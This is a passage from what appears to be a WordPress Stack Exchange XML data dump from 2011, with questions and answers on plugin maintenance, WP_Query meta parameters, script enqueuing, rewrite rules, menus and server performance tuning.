the repository, though, to help the handful of people who refuse to upgrade from legacy version of WordPress.  Yes, there are still live sites out there running WordPress 2.5.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Moving Forward&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Conveniently, it's easy to see whether or not a plugin is still maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every plugin lists a &quot;Compatible up to&quot; field that tells you the latest version of WordPress it's been tested under.  If you're running WordPress 3.1 and a plugin says it's compatible up to WordPress 2.5.3, it probably hasn't been updated in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users can also vote on certain configurations - if a plugin doesn't work, you can flag it as broken so everyone else knows.  This information is shown in the plugin repository and in the plugin installer when you search for a plugin.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Switching Plugins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some plugins come along to replace old ones.  In a few cases with really good developers, they do this gracefully so you don't lose any information.  Automattic recently released &lt;a href=&quot;http://jetpack.me/&quot; rel=&quot;nofollow&quot;&gt;Jetpack&lt;/a&gt;, a suite of plugins that replaces some older systems they used to distribute.  When you install and activate Jetpack, it deactivates the old systems &lt;em&gt;but keeps your settings and data&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some systems, though, it's just not possible to keep the information around.  So if you switch from one Twitter plugin to another, there's a very good chance you'll lose some information in the transition.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Plugin Adoption&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The up side of things is that plugins, at least all the ones hosted in the repository, are open source.  So when one developer abandons a system, another interested party can adopt it and keep development moving forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another personal example is an older plugin called &lt;a href=&quot;http://code.google.com/p/wp-publications-archive/&quot; rel=&quot;nofollow&quot;&gt;WP Publications Archive&lt;/a&gt;.  I used it on a few client sites years ago, but it hasn't been maintained past WordPress 2.1 and I needed it for a current site.  Since there hadn't been an update since 2007, I took it on myself to continue development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-publication-archive/&quot; rel=&quot;nofollow&quot;&gt;WP Publication Archive&lt;/a&gt; (I know, subtly different name) to the official repository, maintained the same license, credited the original author, and began improving the system to work with the newer WordPress UI.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Did I Cover Everything?&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I presume WordPress plugins are made by third parties.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most are, yes.  But many of those &quot;third parties&quot; are the same people who write WordPress in the first place.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do plugins have to be kept up to date with WordPress upgrades?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No they don't, but most developers will keep them up-to-date if they can.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can plugins become obsolete?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If they do become obsolete, say with plugins for Linkedin Share buttons, Twitter Tweet buttons, and Facebook Like buttons, would switching to different plugins cause the count of likes / tweets / shares to be lost?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It really depends on the system ... your mileage may vary :-(&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And if plugins becoming obsolete is possible, does it tend to happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Developers lose interest, code gets bundled into core, someone gets a new job.  It can happen for any reason.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or are plugins generally kept up to date?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some are ... particularly the ones written by people who you see often in the forums, in IRC, on this site, or in commit messages for WordPress core.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or are they open source, so other people would keep them up to date?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most are open source, but people will only adopt a plugin if there's a lot of interest in keeping it up to date.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-07T19:41:01.513" CommentCount="1" />
  <row Id="14201" PostTypeId="1" CreationDate="2011-04-07T20:00:18.533" Score="0" ViewCount="169" Body="&lt;p&gt;I want to create a archive calendar into sidebar exactly like this site &lt;a href=&quot;http://www.daily-sun.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.daily-sun.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know they are using plugins or custom coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please anyone give me suggestion how to create this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Sujana &lt;/p&gt;&#xA;" OwnerUserId="4516" LastActivityDate="2011-04-08T17:01:42.523" Title="Custom design calendar archive" Tags="&lt;archive&gt;" AnswerCount="1" />
  <row Id="14202" PostTypeId="2" ParentId="14198" CreationDate="2011-04-07T20:10:58.030" Score="0" ViewCount="" Body="&lt;p&gt;Ok, this is your original meta conditions that describe that you want all posts where key with name from &lt;code&gt;$hideFromHome&lt;/code&gt; equals (&lt;code&gt;meta_compare&lt;/code&gt; is &lt;code&gt;=&lt;/code&gt; by default) &lt;code&gt;true&lt;/code&gt; (actually &lt;code&gt;1&lt;/code&gt; since you concatenate boolean value with string).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'&amp;amp;meta_key=' . $hideFromHome .'&amp;amp;meta_value=' . true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you got in second snippet defines key name as &lt;code&gt;pr_hidehome&lt;/code&gt;, value as string &lt;code&gt;the_value_you_want&lt;/code&gt; and explicit comparison as &lt;code&gt;LIKE&lt;/code&gt; (which is SQL term and acts like somewhat tricky version of string search):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;                    array(&#xA;                        'key' =&amp;gt; 'pr_hidehome',&#xA;                        'value' =&amp;gt; 'the_value_you_want',&#xA;                        'compare' =&amp;gt; 'LIKE'&#xA;                    )&#xA;                )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To express you original conditions with newer syntax it would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;                        array(&#xA;                            'key' =&amp;gt; $hideFromHome,&#xA;                            'value' =&amp;gt; true,&#xA;                        )&#xA;                    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, &lt;code&gt;=&lt;/code&gt; is implied by default, but you might also need &lt;code&gt;type&lt;/code&gt; to make comparison with boolean work, depending on what your custom field holds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Field Parameters&lt;/a&gt; in Codex for full list of available stuff.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-07T20:10:58.030" CommentCount="3" />
  <row Id="14203" PostTypeId="2" ParentId="14201" CreationDate="2011-04-07T20:20:14.790" Score="1" ViewCount="" Body="&lt;p&gt;They're not using WordPress, so whether they're using a plugin for their specific CMS or not is a moot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, WordPress already includes a calendar widget for the sidebar.  And there are several plugins in the repository that do the same: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=archive%20widget&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Calendar archive widgets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to pick one and modify your site's stylesheet (&lt;code&gt;style.css&lt;/code&gt;) to make it look like the archive calendar on Daily Sun's site.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-07T20:20:14.790" CommentCount="2" />
  <row Id="14204" PostTypeId="2" ParentId="14187" CreationDate="2011-04-07T20:31:52.747" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Matthew Paulson:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be asking the wrong question.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your traffic you &lt;em&gt;may&lt;/em&gt; want to look at at front-end cache using &lt;a href=&quot;http://nginx.org/en/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;nginx&lt;/strong&gt;&lt;/a&gt;. Here are Q&amp;amp;As for nginx here on the site, lots of relevant articles in a Google search, and plugin that can interface WordPress to nginx at wordpress.org and lastly an article on installing and configuring:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/search?q=nginx&quot;&gt;http://wordpress.stackexchange.com/search?q=nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/search?q=nginx+wordpress&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=nginx+wordpress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=nginx&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elasticdog.com/2008/02/howto-install-wordpress-on-nginx/&quot; rel=&quot;nofollow&quot;&gt;http://elasticdog.com/2008/02/howto-install-wordpress-on-nginx/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help or if you don't want to do it for some other reason please let us know &lt;strong&gt;what plugins you are using&lt;/strong&gt;. Most of the time with WordPress performance problems are not the obvious but instead they are result of some poorly written plugins.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-07T20:31:52.747" />
  <row Id="14205" PostTypeId="1" AcceptedAnswerId="14208" CreationDate="2011-04-07T20:46:00.437" Score="1" ViewCount="149" Body="&lt;p&gt;I am using the code below to include jQuery in my Wordpress installation.  I was previous calling the jQuery file using the standard HTML script but this was causing problems with a Wordpress plugin in IE9.  When I use the wp_enqueue_script function, it solves the problem but then it breaks my custom Javascript file which I include after wp_head().  What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;/wp-content/themes/mytheme/js/jquery-1.5.1.min.js&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/wp-content/themes/mytheme/js/custom.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2011-04-07T20:59:33.933" Title="Including jQuery in Wordpress" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="14206" PostTypeId="2" ParentId="14205" CreationDate="2011-04-07T20:53:59.583" Score="1" ViewCount="" Body="&lt;p&gt;Multiple issues here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;including external version of jQuery without deregistering version bundled with WP;&lt;/li&gt;&#xA;&lt;li&gt;wrong &lt;code&gt;wp_enqueue_script()&lt;/code&gt; usage (incorrect arguments);&lt;/li&gt;&#xA;&lt;li&gt;echoing script yourslef;&lt;/li&gt;&#xA;&lt;li&gt;using template file for all of this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basic example of doing it more properly would be something like this in &lt;code&gt;functions.php&lt;/code&gt; of theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_enqueue_scripts', 'custom_script' );&#xA;&#xA;function custom_script() {&#xA;&#xA;    wp_enqueue_script('custom','/wp-content/themes/mytheme/js/custom.js',array('jquery'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-07T20:53:59.583" />
  <row Id="14207" PostTypeId="2" ParentId="14197" CreationDate="2011-04-07T20:56:28.520" Score="5" ViewCount="" Body="&lt;p&gt;adding these functions should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First things first, add this line to functions.php while you are working on this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'flush_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What that code will do is constantly flush the rewrite rules, it makes this easier to test while you are working on it, instead of having to go in and manually reset them after every little change you make to the rewrite rules.&#xA;MAKE SURE you remove this when you are done and satisfied that everything is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, this function will create the rewrite rules you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_add_rewrite_rules( $wp_rewrite ) {&#xA;    $new_rules = array( &#xA;        'dynamic/js/(\d+).js' =&amp;gt; 'index.php?dynamic=js&amp;amp;jqpostid=' . $wp_rewrite-&amp;gt;preg_index(1),&#xA;        'dynamic/css/(\d+).css' =&amp;gt; 'index.php?dynamic=css&amp;amp;csspostid=' . $wp_rewrite-&amp;gt;preg_index(1)&#xA;    );&#xA;    $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_action('generate_rewrite_rules', 'custom_add_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I took a stab at what maybe the CSS rule would look like as well, you may have to adjust it for your needs, I just figured it would be formatted in a way similar to what you described for the javascript. These may cause some strange behavior when it tries to rewrite the URL into a file extension, and it may not work at all. In that case, just remove the .js and .css from the end of the first part of the associative array entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_add_rewrite_rules( $wp_rewrite ) {&#xA;    $new_rules = array( &#xA;        'dynamic/js/(\d+)' =&amp;gt; 'index.php?dynamic=js&amp;amp;jqpostid=' . $wp_rewrite-&amp;gt;preg_index(1),&#xA;        'dynamic/css/(\d+)' =&amp;gt; 'index.php?dynamic=css&amp;amp;csspostid=' . $wp_rewrite-&amp;gt;preg_index(1)&#xA;    );&#xA;    $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_action('generate_rewrite_rules', 'custom_add_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically all this does is sets up the URL to look for and the string it runs in its place. The first part of the array entry has a regular expression that looks for numbers only, the portion in parenthesis. (this can be adjusted to look for a specific number of digits, if needed) The match of which is passed into the second part of the array entry as what will be returned in the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you, feel free to contact me if you have any problems.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-07T20:56:28.520" CommentCount="5" />
  <row Id="14208" PostTypeId="2" ParentId="14205" CreationDate="2011-04-07T20:59:33.933" Score="2" ViewCount="" Body="&lt;p&gt;1) Only include scripts via wp_head(). For your custom script, register and enqueue it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_custom_scripts() {&#xA;&#xA;    if ( ! is_admin() ) {&#xA;        $scriptsrc = get_stylesheet_directory_uri() . '/js/';&#xA;        wp_register_script( 'mytheme_custom', $scriptsrc . 'custom.js' );   &#xA;        wp_enqueue_script( 'mytheme_custom' );&#xA;    }&#xA;&#xA;}&#xA;add_action( 'after_setup_theme', 'mytheme_custom_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) You need to deregister core jQuery, and then register and enqueue your minified version, like such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_minified_jquery() {&#xA;&#xA;    if ( ! is_admin() ) {&#xA;        wp_deregister_script( 'jquery' );&#xA;        wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js' );  &#xA;        wp_enqueue_script( 'jquery' );&#xA;    }&#xA;&#xA;}&#xA;add_action( 'init', 'mytheme_minified_jquery', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that both include a &lt;code&gt;if ( ! is_admin() )&lt;/code&gt; conditional. You don't want to mess with the scripts that load in the Admin UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my example uses Google for the minified jQuery version. If you want to use your own bundled version, add the SRC to &lt;code&gt;wp_register_script()&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-07T20:59:33.933" />
  <row Id="14209" PostTypeId="2" ParentId="14176" CreationDate="2011-04-07T21:07:29.950" Score="1" ViewCount="" Body="&lt;p&gt;I got that same error when i put the code you posted in my functions file so i wrapped it up in an if to run only once and i get the menu id using get_term_by and i assign the menu location using set_theme_mod() so here is your very own function to assign  a menu to a location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function scotts_set_nav_menu($menu_id,$location){&#xA;    $locations = get_theme_mod('nav_menu_locations');&#xA;    $locations[$location] = $menu_id;&#xA;    set_theme_mod( 'nav_menu_locations', $locations );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can try it with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$run_once = get_option('menu_check');&#xA;if (!$run_once){&#xA;    $name = 'test';&#xA;    $menu_id = wp_create_nav_menu($name);&#xA;    $menu = get_term_by( 'name', $name, 'nav_menu' );&#xA;    wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array(&#xA;        'menu-item-title' =&amp;gt; 'First Menu Item', &#xA;        'menu-item-url' =&amp;gt; 'http://mysite.com', &#xA;        'menu-item-status' =&amp;gt; 'publish'));&#xA;    scotts_set_nav_menu($menu-&amp;gt;term_id,'header-menu');&#xA;    update_option('menu_check', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just tried it and it works.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-07T21:07:29.950" CommentCount="3" />
  <row Id="14210" PostTypeId="2" ParentId="14187" CreationDate="2011-04-07T21:11:48.797" Score="0" ViewCount="" Body="&lt;p&gt;The hardware you have should easily cope with the stated traffic (as a benchmark, a site I run peaks at ~40k daily page views on a 2GB Slicehost VPS) - so that suggests something  grossly wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as other people have said, the first thing you need to do is understand where the problem(s) is/are.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What information does top give you when you're under load? Are you using swap memory, is your load spiking, when you sort by memory and cpu% what are the top processes?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you install something like &lt;a href=&quot;http://www.munin.com&quot; rel=&quot;nofollow&quot;&gt;munin&lt;/a&gt; to give you an insight into your server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming you're running Apache, how is it configured - the important things to know are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Timeout&lt;/li&gt;&#xA;&lt;li&gt;KeepAlive&lt;/li&gt;&#xA;&lt;li&gt;MaxKeepAliveRequests&lt;/li&gt;&#xA;&lt;li&gt;KeepAliveTimeout&lt;/li&gt;&#xA;&lt;li&gt;(assuming you're running Apache in prefork mode) - all the config lines in the prefork section of your apache conf file.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Running this command - &lt;code&gt;ps -ylC httpd --sort:rss&lt;/code&gt; will give you a indication of how much memory Apache processes are using.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install &lt;a href=&quot;http://mtop.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;mtop&lt;/a&gt; and &lt;a href=&quot;https://github.com/rackerhacker/MySQLTuner-perl&quot; rel=&quot;nofollow&quot;&gt;mysqltuner&lt;/a&gt; - from what I remember both are available via apt-get. You should also &lt;a href=&quot;http://www.petefreitag.com/item/233.cfm&quot; rel=&quot;nofollow&quot;&gt;turn on MySQL slow logging&lt;/a&gt; - you normally just need to uncomment a line in your my.cnf file. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mtop gives you a real time view of what SQL queries are running (slowly). mysqltuner will give you some sense of what changes you need to make to your MySQL configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As suggested by others, what happens if you turn off plugins during a busy period? Does the site speed up? What plugins do you have installed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you have any idea of how much traffic you're getting during your busy periods - eg 4000 page views in 10 minutes. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Armed with information from these sources, you'll have a much better idea of what's going wrong.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-07T21:11:48.797" CommentCount="1" />
  <row Id="14211" PostTypeId="2" ParentId="14099" CreationDate="2011-04-07T21:39:21.793" Score="0" ViewCount="" Body="&lt;p&gt;I found that one solution for this was to place a call to wp_reset_query() just before the close of the function call. I was trying to use rewind_posts() but it would not work. wp_reset_query() did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing that, thanks to @goldenapples excellent observation that I was already setting a pointer to the current $post object with my $current_page variable (duh!), I found that I could dump the wp_reset_query() call and instead just add this line in its place...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = $current_page;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The root cause is that I was resetting the $post object in the for loop (as $idx=&gt;$post) and the query had to be reset so that the value of $post was a true reflection of the current $post object for the page in function calls below header.php&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-07T21:55:29.050" LastActivityDate="2011-04-07T21:55:29.050" />
  <row Id="14212" PostTypeId="2" ParentId="14187" CreationDate="2011-04-07T21:52:39.317" Score="4" ViewCount="" Body="&lt;h3&gt;Hi Matthew Paulson,&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I see your using W3 Total Cache but your database and object cache is set to disk.  Caching objects and your database to disk can actually have a negative performance effect especially if your getting that much traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about the effects on caching database and objects to disk in an article I wrote on how to &lt;strong&gt;&lt;a href=&quot;http://c3mdigital.com/2010/09/24/reduce-page-loading-time-w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;set up W3 Total Cache&lt;/a&gt;&lt;/strong&gt;  The plugin author agreed with the instructions in my settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To really see the benefit of database and object caching you need to be using a PHP opcode cache like APC.  You can follow the copy and paste instructions in the plugin FAQ to compile and set up APC.  If your on Ubuntu or Debian you can simply run the command:  apt-get apc-php5 to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like others have also mentioned you will get a huge performance boost and enable your site to scale much larger by setting up a reverse proxy with Nginx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I give detailed instructions on how to configure and set it up in my &lt;strong&gt;&lt;a href=&quot;http://wp-performance.com/2010/10/nginx-reverse-proxy-cache-wordpress-apache/&quot; rel=&quot;nofollow&quot;&gt; WordPress Performance Stack.&lt;/a&gt;&lt;/strong&gt; article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also read some of the other questions and answers on here.  A lot of good performance and scaling advice has been given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck on your quest.  Managing your own server can be very stressful sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to show the performance you can gain by installing Nginx as a reverse proxy I'm posting an Apache Benchmark test I just ran on my server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x-wing ~: ab -n 1000 -c 80 http://wp-performance.com/&#xA;This is ApacheBench, Version 2.3 &amp;lt;$Revision: 655654 $&amp;gt;&#xA;Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/&#xA;Licensed to The Apache Software Foundation, http://www.apache.org/&#xA;&#xA;Benchmarking wp-performance.com (be patient)&#xA;Completed 100 requests&#xA;Completed 200 requests&#xA;Completed 300 requests&#xA;Completed 400 requests&#xA;Completed 500 requests&#xA;Completed 600 requests&#xA;Completed 700 requests&#xA;Completed 800 requests&#xA;Completed 900 requests&#xA;Completed 1000 requests&#xA;Finished 1000 requests&#xA;&#xA;&#xA;Server Software:        nginx/0.8.54&#xA;Server Hostname:        wp-performance.com&#xA;Server Port:            80&#xA;&#xA;Document Path:          /&#xA;Document Length:        3132 bytes&#xA;&#xA;Concurrency Level:      80&#xA;Time taken for tests:   0.066 seconds&#xA;Complete requests:      1000&#xA;Failed requests:        0&#xA;Write errors:           0&#xA;Total transferred:      3605000 bytes&#xA;HTML transferred:       3132000 bytes&#xA;Requests per second:    15164.15 [#/sec] (mean)&#xA;Time per request:       5.276 [ms] (mean)&#xA;Time per request:       0.066 [ms] (mean, across all concurrent requests)&#xA;Transfer rate:          53385.52 [Kbytes/sec] received&#xA;&#xA;Connection Times (ms)&#xA;              min  mean[+/-sd] median   max&#xA;Connect:        0    2   0.6      1       3&#xA;Processing:     1    4   0.8      4       5&#xA;Waiting:        1    3   0.8      3       5&#xA;Total:          3    5   0.6      5       7&#xA;&#xA;Percentage of the requests served within a certain time (ms)&#xA;  50%      5&#xA;  66%      5&#xA;  75%      6&#xA;  80%      6&#xA;  90%      6&#xA;  95%      6&#xA;  98%      6&#xA;  99%      6&#xA; 100%      7 (longest request)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theoretically it's able to handle over 15,000 requests per second.  (Same Network)&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-07T21:58:55.757" LastActivityDate="2011-04-07T21:58:55.757" CommentCount="5" />
  <row Id="14213" PostTypeId="1" AcceptedAnswerId="14219" CreationDate="2011-04-07T22:08:04.293" Score="-1" ViewCount="55" Body="&lt;p&gt;how can I delete a background for #main only on my posts. I know that I have to create a conditional &lt;code&gt;if&lt;/code&gt; statement in my functions.php file with &lt;code&gt;if (is_post())&lt;/code&gt; but I'm just not sure how to write it.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-04-08T00:29:45.193" Title="Delete backgound for ID with conditional if statement" Tags="&lt;conditional-tags&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14214" PostTypeId="1" AcceptedAnswerId="14216" CreationDate="2011-04-07T22:45:45.200" Score="1" ViewCount="53" Body="&lt;p&gt;I've made a custom widget which shows thumbs of my latest videos. These thumbs are set to be 300px wide, which is the same width of my sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that i also want to be able to use it in my footer where the width of widgets are only 220px wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what i want to do is: if the widget is shown in the sidebar use &lt;code&gt;&amp;lt;?php the_post_thumbnail('media-thumb-sidebar'); ?&amp;gt;&lt;/code&gt;and if the widget is used in the footer use &lt;code&gt;&amp;lt;?php the_post_thumbnail('media-thumb-footer'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how i could do this? Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="4380" LastActivityDate="2011-04-07T22:59:15.483" Title="Show widget differently depending on if it's in the sidebar or footer" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;footer&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14215" PostTypeId="1" CreationDate="2011-04-07T22:52:40.530" Score="0" ViewCount="70" Body="&lt;p&gt;I had a user recently who reported an issue with my plugin's options page not loading. They would click on the &quot;settings&quot; link but only got a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was also an issue with the rich text editor showing up on the category edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not figure out why, on almost every other site but their's, the plugins loaded fine. We disabled all plugins except mine and still could not get the plugins to load properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time passed and I got an email from the user that he had resolved the issue (WP 3.1 site) by editing the file wp-admin/includes/misc.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;changing...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$got_rewrite = apache_mod_loaded('mod_rewrite', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$got_rewrite = 